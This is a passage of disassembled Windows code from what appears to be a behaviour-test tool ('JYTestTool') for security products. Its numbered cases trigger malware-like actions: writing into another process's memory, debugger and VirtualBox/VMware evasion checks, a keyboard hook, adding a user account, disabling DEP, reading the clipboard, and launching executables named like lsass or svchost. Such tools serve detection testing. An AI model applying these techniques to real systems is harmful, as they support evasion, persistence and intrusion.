test rsi, rsi
je 0x140009d7f
mov r9d, 0x8000
mov r8d, 8
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test rdi, rdi
je case.default.0x14000d0ae
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
cmp edi, 0x30010008
je 0x140009e5b
cmp edi, 0x30020008
jne case.default.0x14000d0ae
xor eax, eax
mov byte [rbp + 0x270], 4
lea rcx, [0x14004b470]
mov dword [rbp + 0x271], eax
mov word [rbp + 0x275], ax
mov byte [rbp + 0x277], al
lea edx, [rax + 0x10]
call fcn.140010310
mov rdi, rax
test rax, rax
jne 0x140009df8
lea rcx, str.failed........_n
call fcn.140001030
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov rcx, rdi
lea r8d, [rdx + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x140009e29
lea rcx, str.Failed._n_n_n_nn
call fcn.140001030
mov r9d, 8
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x270]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140009c85
lea rcx, str.Failed._n
jmp 0x140009c80
xor eax, eax
mov byte [rbp + 0x270], 0x90
lea rcx, [0x14004b400]
mov dword [rbp + 0x271], eax
mov word [rbp + 0x275], ax
mov byte [rbp + 0x277], al
lea edx, [rax + 0x10]
call fcn.140010310
mov rdi, rax
test rax, rax
jne 0x140009e9a
lea rcx, [0x14004b418]
call fcn.140001030
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov rcx, rdi
lea r8d, [rdx + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x140009ecb
lea rcx, [0x14004b438]
call fcn.140001030
mov r9d, 8
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x270]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140009d62
lea rcx, [0x14004b458]
jmp 0x140009d5d
cmp edi, 0x30040009
ja 0x140009fb2
je 0x140009fa7
cmp edi, 0x30010009
je 0x140009f94
cmp edi, 0x30020009
je 0x140009f5d
cmp edi, 0x30030009
jne case.default.0x14000d0ae
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov rdi, rax
lea edx, [r9 + 0x11]
call qword [0x140091480]
test rdi, rdi
jne case.default.0x14000d0ae
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor r9d, r9d
mov qword [rsp + 0x20], r14
xor r8d, r8d
mov rcx, rax
mov rdi, rax
lea edx, [r9 + 7]
call qword [0x1400916b0]
test rdi, rdi
jne case.default.0x14000d0ae
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_DebugActiveProcess]
jmp case.default.0x14000d0ae
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
jmp case.default.0x14000d0ae
cmp edi, 0x30060009
je case.default.0x14000d0ae
cmp edi, 0x30070009
je 0x140009fed
cmp edi, 0x30080009
jne case.default.0x14000d0ae
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x270]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
jmp case.default.0x14000d0ae
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
jmp case.default.0x14000d0ae
cmp edi, 0x3004000a
ja 0x14000a1ac
je 0x14000a18b
cmp edi, 0x3001000a
je 0x14000a0d9
cmp edi, 0x3002000a
jne case.default.0x14000d0ae
mov edx, 1
mov dword [rbp + 0x270], 0xff
lea rcx, str.HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionOpenGLDriversVBoxOGLJY
call fcn.140011130
lea rax, [rbp]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionOpenGLDriversVBoxOGL
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp]
test rcx, rcx
jne 0x14000a087
lea rcx, str.RegOpenKeyEx_failed._n
call fcn.140001030
mov ebx, 0x65b
jmp case.default.0x14000d0ae
lea rax, [rbp + 0x270]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rdx, [0x1400449d4]
lea rax, [rbp + 0x360]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rbp]
lea rdx, [0x140044a94]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test ebx, ebx
je 0x1400050d9
lea rcx, str.RegQueryValueEx_failed._n
jmp 0x1400050cf
mov edx, 1
mov dword [rbp + 0x270], 0xff
lea rcx, str.HKLMSOFTWAREMicrosoftWindowsCurrentVersionUninstallOracle_VM_VirtualBox_Guest_AdditionsJY
call fcn.140011130
lea rax, [rbp]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstallOracle_VM_VirtualBox_Guest_Additions
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp]
test rcx, rcx
jne 0x14000a139
lea rcx, [0x14004b518]
call fcn.140001030
mov ebx, 0x65b
jmp case.default.0x14000d0ae
lea rax, [rbp + 0x270]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rdx, [0x140044724]
lea rax, [rbp + 0x360]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rbp]
lea rdx, [0x1400447c4]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test ebx, ebx
je 0x1400050d9
lea rcx, [0x14004b548]
jmp 0x1400050cf
lea r8, [rbp]
mov qword [rbp], r14
lea rdx, str.SOFTWAREOracleVirtualBox_Guest_Additions
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
jmp case.default.0x14000d0ae
cmp edi, 0x3005000a
je 0x14000a1e6
cmp edi, 0x3006000a
jne case.default.0x14000d0ae
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 2
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 4
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
jmp case.default.0x14000d0ae
lea rcx, str.C:WINDOWSSYSTEM32DRIVERSVMMOUSE.sys
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
jmp case.default.0x14000d0ae
cmp edi, 0x3004000b
ja 0x14000a3b9
je 0x14000a350
cmp edi, 0x3001000b
je 0x14000a331
cmp edi, 0x3002000b
je 0x14000a268
cmp edi, 0x3003000b
jne case.default.0x14000d0ae
lea rcx, [rbp + 0x2c0]
mov dword [rbp + 0x2c0], r14d
mov qword [rbp + 0x2c8], r14
mov dword [rbp + 0x2c4], 6
mov dword [rbp + 0x2d0], 6
mov dword [rbp + 0x2d4], 3
call qword [sym.imp.IPHLPAPI.DLL_SetIpNetEntry]
jmp case.default.0x14000d0ae
mov r9d, 1
mov qword [rbp], r14
xor r8d, r8d
mov dword [rsp + 0x20], 8
lea rdx, str.JYKey
lea rcx, [rbp]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x14000a2c9
lea rcx, str.CryptAcquireContext_succeeded._n
call fcn.140001030
mov rcx, qword [rbp]
test rcx, rcx
je 0x14000a2e9
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
test eax, eax
je 0x14000a2c0
mov qword [rbp], r14
lea rcx, str.CryptReleaseContext_succeeded._n
jmp 0x14000a2e4
lea rcx, str.Error_during_CryptReleaseContext__n
jmp 0x14000a2e4
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.The_named_key_container_could_not_be_created_because_it_already_exists._n
cmp eax, 0x8009000f
je 0x14000a2e4
lea rcx, str.Error_during_CryptAcquireContext._n
call fcn.140001030
mov r9d, 1
mov dword [rsp + 0x20], SafeArrayAccessData
xor r8d, r8d
lea rdx, str.JYKey
lea rcx, [rbp]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x14000a320
lea rcx, str.Deleted_the_key_container_just_created.__n
call fcn.140001030
jmp case.default.0x14000d0ae
lea rcx, str.Error_during_CryptAcquireContext__n
call fcn.140001030
jmp case.default.0x14000d0ae
xor r9d, r9d
mov qword [rsp + 0x20], r14
xor r8d, r8d
lea rcx, [0x140030790]
xor edx, edx
call qword [sym.imp.ole32.dll_CoRegisterClassObject]
jmp case.default.0x14000d0ae
lea rax, [0x14003a284]
mov dword [rbp + 0x270], r14d
mov qword [rbp + 0x280], rax
lea r9, [rbp + 0x270]
lea rax, [0x14003a294]
mov dword [rbp + 0x294], 1
xorps xmm0, xmm0
mov qword [rbp + 0x288], rax
lea r8, [rbp + 0x280]
mov dword [rbp + 0x2a8], 1
mov edx, 1
mov qword [rbp + 0x2b0], r14
xor ecx, ecx
movdqu xmmword [rbp + 0x298], xmm0
call qword [sym.imp.NETAPI32.dll_NetUserAdd]
jmp case.default.0x14000d0ae
cmp edi, 0x3005000b
je 0x14000a42f
cmp edi, 0x3006000b
je 0x14000a3e0
cmp edi, 0x3009000b
jne case.default.0x14000d0ae
call qword [sym.imp.KERNEL32.dll_GetTickCount]
jmp case.default.0x14000d0ae
lea rdx, str.FindindowWWindowName
lea rcx, str.FindWindowWClassName
call qword [sym.imp.USER32.dll_FindWindowW]
lea rdx, [0x14003a2a4]
lea rcx, str.VMWareTrayIcon
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
jne 0x14000a41e
lea rcx, str.FindWindowsW_VMWareTrayIcon_Fail_n
call fcn.140001820
jmp case.default.0x14000d0ae
lea rcx, str.FindWindowsW_VMWareTrayIcon_Success_n
call fcn.140001820
jmp case.default.0x14000d0ae
lea rcx, str.C:WindowsSystem32Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000a45e
lea rdx, str.SetProcessDEPPolicy
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000a45e
xor ecx, ecx
call rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp case.default.0x14000d0ae
cmp edi, 0x3001000c
je 0x14000a4c5
cmp edi, 0x3002000c
jne case.default.0x14000d0ae
lea r8, [0x14004bbc8]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
lea r8, str.OpenMutexTest
mov edx, 1
mov ecx, 0x1f0001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_OpenMutexW]
test rax, rax
je 0x140007a67
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140007a67
lea r8, str.CreateMutexTest
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
test rax, rax
je case.default.0x14000d0ae
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
test edi, edi
jne case.0x140008672.50331662
xor r9d, r9d
lea r8d, [rdi + 0xa]
mov edx, 0x400
lea rcx, str.CreateMailslotTest
call qword [sym.imp.KERNEL32.dll_CreateMailslotW]
test rax, rax
je case.default.0x14000d0ae
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
cmp edi, 0x3001000e
je 0x14000a581
cmp edi, 0x3002000e
jne case.default.0x14000d0ae
mov qword [rsp + 0x38], r14
lea rcx, str.CreateNamedPipeTest
mov dword [rsp + 0x30], r14d
mov r9d, 2
mov dword [rsp + 0x28], 0x40
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
test rax, rax
je case.default.0x14000d0ae
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
xor r9d, r9d
lea rdx, [rbp + 0x270]
xor r8d, r8d
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
mov rcx, qword [rbp]
test rcx, rcx
je 0x14000a5a7
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x270]
test rcx, rcx
je case.default.0x14000d0ae
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
cmp edi, 0x3005000e
ja case.default.0x14000d0ae
test edi, edi
je 0x14000a5e8
cmp edi, 0x3001000f
jne case.default.0x14000d0ae
call fcn.1400118c0
jmp case.default.0x14000d0ae
lea rcx, [0x14004be68]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, WSAGetLastError
lea rcx, [0x14004be88]
call fcn.1400014f0
mov edx, sendto
lea rcx, [0x14004bea8]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x14000a63e
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.C:JYhwp.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x30040010
ja 0x14000a725
je 0x14000a71c
cmp edi, 0x30010010
je 0x14000a6ff
cmp edi, 0x30020010
je 0x14000a6ca
cmp edi, 0x30030010
jne case.0x140008672.50331666
xor r8d, r8d
lea r9, str.WaitForSingleObjectTest1
xor ecx, ecx
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov rcx, rax
mov edx, 1
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x140007a67
lea r8, [0x140002910]
mov qword [rsp + 0x28], r14
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je case.default.0x14000d0ae
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp case.default.0x14000d0ae
lea r8, [0x140002920]
jmp 0x14000a6d1
cmp edi, 0x30050010
je 0x14000a742
cmp edi, 0x30060010
jne case.0x140008672.50331666
lea r8, [0x140002970]
jmp 0x14000a6d1
xor r8d, r8d
lea r9, str.WaitForMultipleObjectsTest1
xor ecx, ecx
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
xor r8d, r8d
lea r9, str.WaitForMultipleObjectsTest2
xor ecx, ecx
mov qword [rbp], rax
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov r9d, 1
lea rdx, [rbp]
mov esi, 2
mov qword [rbp + 8], rax
mov r8d, r9d
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov r9d, 1
lea rdx, [rbp]
mov r8d, r9d
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov r9d, 1
lea rdx, [rbp]
mov r8d, r9d
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov rcx, qword [rbp]
test rcx, rcx
je 0x14000a7c9
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 8]
test rcx, rcx
je case.default.0x14000d0ae
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
test edi, edi
jne case.default.0x14000d0ae
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov r8, rdi
lea rdx, [sym.JYTestTool.exe_long_long___int64____cdecl_kbdHandler_int__unsigned_long_long_unsigned___int64___long_long___int64__]
mov r9d, eax
mov ecx, 2
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
jmp case.default.0x14000d0ae
cmp edi, 0x30010016
jne case.default.0x14000d0ae
lea rcx, [rbp + 0x280]
mov dword [rbp + 0x284], 1
mov qword [rbp + 0x290], r14
mov dword [rbp + 0x298], 0x60000000
call qword [sym.imp.OLEAUT32.dll_SafeArrayUnlock]
test eax, eax
jne case.default.0x14000d0ae
lea rcx, [rbp + 0x280]
call qword [sym.imp.OLEAUT32.dll_SafeArrayAccessData]
jmp case.default.0x14000d0ae
cmp edi, 0x30010017
jne case.default.0x14000d0ae
xor eax, eax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
mov qword [rbp + 0x280], rax
xor r8d, r8d
mov qword [rbp + 0x288], rax
xor edx, edx
mov qword [rbp + 0x290], rax
lea rcx, str.A_WinHTTP_Example_Program_1.0
mov qword [rbp + 0x298], rax
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x2c8], rax
mov qword [rbp + 0x2d0], rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rdi, rax
test rax, rax
je 0x14000a920
or dword [rbp + 0x280], 2
lea rax, str.http:__proxy.ahnlab.co.kr_proxy.pac
lea r9, [rbp + 0x2c0]
mov qword [rbp + 0x288], rax
lea r8, [rbp + 0x280]
mov rcx, rdi
lea rdx, str.http:__127.0.0.1
call qword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
cmp eax, 1
je 0x14000a912
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__u_in_WinHttpGetProxyForUrl._n
call fcn.140001820
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp case.default.0x14000d0ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__u_in_WinHttpOpen._n
call fcn.140001820
jmp case.default.0x14000d0ae
cmp edi, 0x3001001a
je 0x14000ac73
cmp edi, 0x3002001a
je 0x14000abd3
cmp edi, 0x3003001a
je 0x14000aaca
cmp edi, 0x3005001a
je 0x14000aa65
cmp edi, 0x3007001a
jne case.default.0x14000d0ae
movups xmm0, xmmword [str.LDAP:JYTestTool.com]
mov eax, dword [0x14004c330]
xor edx, edx
movups xmm1, xmmword [0x14004c318]
lea rcx, [rbp + 0x7ac]
mov r8d, 0x1dc
movaps xmmword [rbp + 0x780], xmm0
movsd xmm0, qword [0x14004c328]
movsd qword [rbp + 0x7a0], xmm0
movaps xmmword [rbp + 0x790], xmm1
mov dword [rbp + 0x7a8], eax
call fcn.140013860
xor eax, eax
lea rcx, str.C:WindowsSystem32_activeds.dll
mov qword [rbp], rax
mov qword [rbp + 8], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
test rax, rax
jne 0x14000a9f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Load_C:WindowsSystem32_activeds.dll_Failed___GetLastError___:__d_n
call fcn.140001820
jmp case.default.0x14000d0ae
lea rdx, str.ADsOpenObject
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x14000aa1d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Get_pADsOpenObject_Address_Failed___GetLastError___:__d_n
jmp 0x14000aa50
lea rcx, [rbp]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rcx
mov r9d, 1
lea rcx, [rbp + 0x780]
xor r8d, r8d
xor edx, edx
call rax
test eax, eax
jns 0x14000aa57
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ADsOpenObject_Failed___GetLastError___:__d_n
mov edx, eax
call fcn.140001820
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp case.default.0x14000d0ae
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x14000aa8a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenClipboard_Failed___GetLastError___:__d_n
call fcn.140001820
jmp case.default.0x14000d0ae
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
test rax, rax
jne 0x14000aab3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.GetClipboardData_Failed___GetLastError___:__d_n
call fcn.140001820
jmp case.default.0x14000d0ae
call qword [sym.imp.USER32.dll_CloseClipboard]
lea rcx, str.GetClipboardData_Success_n
call fcn.140001820
jmp case.default.0x14000d0ae
xor eax, eax
lea rcx, str.C:WindowsSystem32Crypt32.dll
mov qword [rbp + 0x280], rax
mov qword [rbp + 0x288], rax
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x298], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
jne 0x14000ab16
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Load_Crypt32.dll_Failed___GetLastError___:__d_n
call fcn.140001820
jmp 0x14000abac
lea rdx, str.CryptProtectMemory
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
jne 0x14000ab44
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Get_CryptProtectMemory_address_Failed___GetLastError___:__d_n
call fcn.140001820
jmp 0x14000abac
lea r8, str.HelloWorld_
mov edx, sendto
lea rcx, [rbp + 0x280]
call fcn.14001b57c
test eax, eax
je 0x14000ab76
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.string_cpy_Failed___GetLastError___:__d_n
call fcn.140001820
jmp 0x14000abac
xor r8d, r8d
lea rcx, [rbp + 0x280]
lea edx, [r8 + 0x20]
call rdi
test eax, eax
jne 0x14000aba0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CryptProtectMemory_Failed___GetLastError___:__d_n
call fcn.140001820
jmp 0x14000abac
lea rcx, str.CryptProtectMemory_Success__n
call fcn.140001820
xor eax, eax
lea rdi, [rbp + 0x280]
mov ecx, 0x20
rep stosb byte [rdi], al
test rsi, rsi
je case.default.0x14000d0ae
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp case.default.0x14000d0ae
xor edx, edx
lea rcx, [rbp + 0x780]
mov r8d, 0x208
call fcn.140013860
lea rax, [0x1400918c0]
mov edx, 0x104
lea r9, [0x140091cd0]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp + 0x780]
call fcn.1400019e0
xor r9d, r9d
mov dword [rsp + 0x28], r14d
lea r8, [rbp + 0x20]
mov qword [rsp + 0x20], r14
xor edx, edx
lea rcx, [rbp + 0x780]
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp rdi, 0xffffffffffffffff
jne 0x14000ac5b
lea r8, [rbp + 0x780]
mov edx, eax
lea rcx, str.FindFirstFileExW_shared_folder__Failed__GetLastError___:__d__Path_:__S_n
call fcn.140001820
jmp case.default.0x14000d0ae
lea rdx, [rbp + 0x780]
lea rcx, str.FindFirstFileExW_shared_folder__Success__Path_:__S_n
call fcn.140001820
jmp case.default.0x14000d0ae
xor edx, edx
lea rcx, [rbp + 0x780]
mov r8d, 0x208
call fcn.140013860
mov r8d, 0x104
lea rdx, [rbp + 0x780]
lea rcx, str._USERPROFILE_
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x14000acbe
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ExpandEnvironmentStringsW_Failed__GetLastError___:__d_n
call fcn.140001820
jmp case.default.0x14000d0ae
lea r8, [0x140044d24]
mov edx, 0x104
lea rcx, [rbp + 0x780]
call fcn.140001880
xor r9d, r9d
mov dword [rsp + 0x28], r14d
lea r8, [rbp + 0x20]
mov qword [rsp + 0x20], r14
xor edx, edx
lea rcx, [rbp + 0x780]
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
cmp rax, 0xffffffffffffffff
jne 0x14000ad15
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.FindFirstFileExW_Failed__GetLastError___:__d_n
call fcn.140001820
jmp case.default.0x14000d0ae
lea rdx, [rbp + 0x780]
lea rcx, str.FindFirstFileExW_Success__Path_:__S_n
call fcn.140001820
jmp case.default.0x14000d0ae
cmp edi, 0x400d0004
ja 0x14000aeae
je 0x14000ae9b
cmp edi, 0x40070004
ja 0x14000ae10
je 0x14000adfd
cmp edi, 0x40040004
ja 0x14000adc3
je 0x14000adb0
cmp edi, 0x40010004
je 0x14000ad9d
cmp edi, 0x40020004
je 0x14000ad8a
cmp edi, 0x40030004
jne case.default.0x14000d0ae
lea rcx, str.C:JYunexpectedlsm.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
lea rcx, str.C:JYunexpectedlsass.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
lea rcx, str.C:JYunexpectedcsrss.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
lea rcx, str.C:JYunexpected_services.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x40050004
je 0x14000adea
cmp edi, 0x40060004
jne case.default.0x14000d0ae
lea rcx, str.C:JYunexpected_spoolsv.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
lea rcx, str.C:JYunexpected_smss.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
lea rcx, str.C:JYunexpected_svchost.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x40080004
je 0x14000ae88
cmp edi, 0x40090004
je 0x14000ae75
cmp edi, 0x400a0004
je 0x14000ae62
cmp edi, 0x400b0004
je 0x14000ae4f
cmp edi, 0x400c0004
jne case.default.0x14000d0ae
lea rcx, str.C:JYunexpectedPOWERPNT.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
lea rcx, str.C:JYunexpectedexcel.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
lea rcx, str.C:JYunexpectedwinlogon.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
lea rcx, str.C:JYunexpectedwininit.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
lea rcx, str.C:JYunexpecteddllhost.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
lea rcx, str.C:JYunexpectedWINWORD.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x40130004
ja 0x14000af5e
je 0x14000af4b
cmp edi, 0x400e0004
je 0x14000af38
cmp edi, 0x400f0004
je 0x14000af25
cmp edi, 0x40100004
je 0x14000af12
cmp edi, 0x40110004
je 0x14000aeff
cmp edi, 0x40120004
jne case.default.0x14000d0ae
lea rcx, str.C:JYunexpectedmsnmsgr.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
lea rcx, str.C:JYunexpectedctfmon.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
lea rcx, str.C:JYunexpectediexplore.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
lea rcx, str.C:JYunexpectedOUTLOOK.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
lea rcx, str.C:JYunexpectedAcroRd32.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
lea rcx, str.C:JYunexpectedNateOnMain.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x40140004
je 0x14000afd6
cmp edi, 0x40150004
je 0x14000afc3
cmp edi, 0x40160004
je 0x14000afb0
cmp edi, 0x40180004
je 0x14000af9d
cmp edi, 0x40190004
jne case.default.0x14000d0ae
lea rcx, str.C:JYunexpectedgswin32c.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
lea rcx, str.C:JYunexpectedgbb.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
lea rcx, str.C:JYunexpectedjavaw.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
lea rcx, str.C:JYunexpectedjava.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
lea rcx, str.C:JYunexpected_notepad.exe
call fcn.140010440
mov ebx, eax
jmp case.default.0x14000d0ae
cmp esi, 0x5000002
